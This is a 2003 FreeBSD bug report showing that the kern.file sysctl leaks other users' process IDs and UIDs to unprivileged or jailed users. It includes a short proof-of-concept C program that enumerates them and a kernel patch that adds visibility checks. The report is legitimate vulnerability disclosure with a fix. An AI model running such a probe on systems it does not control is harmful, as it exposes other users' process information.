Skip site navigation (1)Skip section navigation (2)
Date:      Tue,  8 Jul 2003 11:51:29 +0200 (CEST)
From:      Pawel Jakub Dawidek <nick@garage.freebsd.pl>
To:        FreeBSD-gnats-submit@FreeBSD.org
Cc:        rwatson@FreeBSD.org
Subject:   kern/54211: Seeing other uid with kern.file sysctl.
Message-ID:  <20030708095129.E023E3ABB4D@milla.ask33.net>
Resent-Message-ID: <200307080950.h689oGF8054837@freefall.freebsd.org>

next in thread | raw e-mail | index | archive | help

>Number:         54211
>Category:       kern
>Synopsis:       Seeing other uid with kern.file sysctl.
>Confidential:   no
>Severity:       critical
>Priority:       high
>Responsible:    freebsd-bugs
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Tue Jul 08 02:50:16 PDT 2003
>Closed-Date:
>Last-Modified:
>Originator:     Pawel Jakub Dawidek
>Release:        FreeBSD 5.1-CURRENT i386
>Organization:
>Environment:
System: FreeBSD czort.hell.none 5.1-CURRENT FreeBSD 5.1-CURRENT #6: Mon Jul 7 18:59:08 CEST 2003 root@czort.hell.none:/usr/obj/usr/src/sys/CZORT i386
 

        
>Description:
	There is a way to get PIDs and UIDs of most of every processes running
	even if we are in jail or we are unprivileged user, but
	security.bsd.see_other_uids is set to 1. The only contition is that
	process have to have opened files. We could use for this sysctl
	kern.file that don't check if calling process could see other process.
	This bug doesn't seems to exist in FreeBSD 4.x, because credentials 
	and PID of process isn't exported to userland and in 5.x it is via
	xfile struct.

>How-To-Repeat:
	Here is a little program which shows how to use it.
	Should be run as follows:
	# gcc -Wall -o xfilehack xfilehack.c
	# jail / temp 127.0.0.1 `pwd`/xfilehack | uniq

        ---[ start of xfilehack.c ]---
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/file.h>
#include <libgen.h>
#include <string.h>
#include <errno.h>

int
main(int argc, char *argv[])
{
	struct xfile *files;
	const char *comm;
	size_t fsize = 0;
	int i;

	comm = basename(argv[0]);

	if (sysctlbyname("kern.file", NULL, &fsize, NULL, 0) != 0) {
		fprintf(stderr, "%s: %s\n", comm, strerror(errno));
		exit(EXIT_FAILURE);
	}
	files = malloc(fsize);
	if (files == NULL) {
		fprintf(stderr, "%s: %s\n", comm, strerror(ENOMEM));
		exit(EXIT_FAILURE);
	}
	if (sysctlbyname("kern.file", files, &fsize, NULL, 0) != 0) {
		fprintf(stderr, "%s: %s\n", comm, strerror(errno));
		exit(EXIT_FAILURE);
	}
	fsize /= sizeof(struct xfile);
	printf("PID	EUID\n");
	for (i = 0; i < (int)fsize; ++i)
		printf("%u	%u\n", files[i].xf_pid, files[i].xf_uid);

	exit(EXIT_SUCCESS);
}
        ---[ end of xfilehack.c ]---

>Fix:
        This patch fix the problem:

diff -ur /usr/src/sys/kern/kern_descrip.c src/sys/kern/kern_descrip.c
--- /usr/src/sys/kern/kern_descrip.c	Mon Jul  7 22:11:49 2003
+++ src/sys/kern/kern_descrip.c	Tue Jul  8 02:26:16 2003
@@ -2284,6 +2284,8 @@
 		n = 16;		/* A slight overestimate. */
 		sx_slock(&filelist_lock);
 		LIST_FOREACH(fp, &filehead, f_list) {
+			if (cr_cansee(req->td->td_ucred, fp->f_cred) != 0)
+				continue;
 			/*
 			 * We should grab the lock, but this is an
 			 * estimate, so does it really matter?
@@ -2301,6 +2303,10 @@
 	sx_slock(&allproc_lock);
 	LIST_FOREACH(p, &allproc, p_list) {
 		PROC_LOCK(p);
+		if (cr_cansee(req->td->td_ucred, p->p_ucred) != 0) {
+			PROC_UNLOCK(p);
+			continue;
+		}
 		xf.xf_pid = p->p_pid;
 		xf.xf_uid = p->p_ucred->cr_uid;
 		PROC_UNLOCK(p);
>Release-Note:
>Audit-Trail:
>Unformatted:



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20030708095129.E023E3ABB4D>